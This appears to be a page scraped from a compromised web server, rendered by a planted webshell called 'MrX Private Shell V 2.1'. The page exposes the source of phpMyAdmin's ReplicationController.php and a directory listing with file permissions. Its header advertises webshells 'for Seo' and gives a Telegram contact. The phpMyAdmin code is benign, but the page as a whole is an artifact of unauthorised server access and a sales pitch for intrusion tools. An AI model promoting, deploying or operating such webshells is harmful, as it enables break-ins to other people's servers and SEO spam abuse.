__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server replications
*/
declare(strict_types=1);
namespace PhpMyAdmin\Controllers\Server;
use PhpMyAdmin\Controllers\AbstractController;
use PhpMyAdmin\DatabaseInterface;
use PhpMyAdmin\ReplicationGui;
use PhpMyAdmin\ReplicationInfo;
use PhpMyAdmin\ResponseRenderer;
use PhpMyAdmin\Template;
use PhpMyAdmin\Url;
use function is_array;
/**
* Server replications
*/
class ReplicationController extends AbstractController
{
/** @var ReplicationGui */
private $replicationGui;
/** @var DatabaseInterface */
private $dbi;
public function __construct(
ResponseRenderer $response,
Template $template,
ReplicationGui $replicationGui,
DatabaseInterface $dbi
) {
parent::__construct($response, $template);
$this->replicationGui = $replicationGui;
$this->dbi = $dbi;
}
public function __invoke(): void
{
global $urlParams, $errorUrl;
$params = [
'url_params' => $_POST['url_params'] ?? null,
'primary_configure' => $_POST['primary_configure'] ?? null,
'replica_configure' => $_POST['replica_configure'] ?? null,
'repl_clear_scr' => $_POST['repl_clear_scr'] ?? null,
];
$errorUrl = Url::getFromRoute('/');
if ($this->dbi->isSuperUser()) {
$this->dbi->selectDb('mysql');
}
$replicationInfo = new ReplicationInfo($this->dbi);
$replicationInfo->load($_POST['primary_connection'] ?? null);
$primaryInfo = $replicationInfo->getPrimaryInfo();
$replicaInfo = $replicationInfo->getReplicaInfo();
$this->addScriptFiles(['server/privileges.js', 'replication.js', 'vendor/zxcvbn-ts.js']);
if (isset($params['url_params']) && is_array($params['url_params'])) {
$urlParams = $params['url_params'];
}
if ($this->dbi->isSuperUser()) {
$this->replicationGui->handleControlRequest();
}
$errorMessages = $this->replicationGui->getHtmlForErrorMessage();
if ($primaryInfo['status']) {
$primaryReplicationHtml = $this->replicationGui->getHtmlForPrimaryReplication();
}
if (isset($params['primary_configure'])) {
$primaryConfigurationHtml = $this->replicationGui->getHtmlForPrimaryConfiguration();
} else {
if (! isset($params['repl_clear_scr'])) {
$replicaConfigurationHtml = $this->replicationGui->getHtmlForReplicaConfiguration(
$replicaInfo['status'],
$replicationInfo->getReplicaStatus()
);
}
if (isset($params['replica_configure'])) {
$changePrimaryHtml = $this->replicationGui->getHtmlForReplicationChangePrimary('replica_changeprimary');
}
}
$this->render('server/replication/index', [
'url_params' => $urlParams,
'is_super_user' => $this->dbi->isSuperUser(),
'error_messages' => $errorMessages,
'is_primary' => $primaryInfo['status'],
'primary_configure' => $params['primary_configure'],
'replica_configure' => $params['replica_configure'],
'clear_screen' => $params['repl_clear_scr'],
'primary_replication_html' => $primaryReplicationHtml ?? '',
'primary_configuration_html' => $primaryConfigurationHtml ?? '',
'replica_configuration_html' => $replicaConfigurationHtml ?? '',
'change_primary_html' => $changePrimaryHtml ?? '',
]);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Databases | Folder | 0755 |
|
|
| Privileges | Folder | 0755 |
|
|
| Status | Folder | 0755 |
|
|
| Variables | Folder | 0755 |
|
|
| BinlogController.php | File | 3.64 KB | 0644 |
|
| CollationsController.php | File | 2.22 KB | 0644 |
|
| DatabasesController.php | File | 10.96 KB | 0644 |
|
| EnginesController.php | File | 955 B | 0644 |
|
| ExportController.php | File | 2.53 KB | 0644 |
|
| ImportController.php | File | 4.26 KB | 0644 |
|
| PluginsController.php | File | 1.71 KB | 0644 |
|
| PrivilegesController.php | File | 15.59 KB | 0644 |
|
| ReplicationController.php | File | 3.52 KB | 0644 |
|
| ShowEngineController.php | File | 1.87 KB | 0644 |
|
| SqlController.php | File | 1.32 KB | 0644 |
|
| UserGroupsController.php | File | 3.11 KB | 0644 |
|
| UserGroupsFormController.php | File | 3.29 KB | 0644 |
|
| VariablesController.php | File | 4.29 KB | 0644 |
|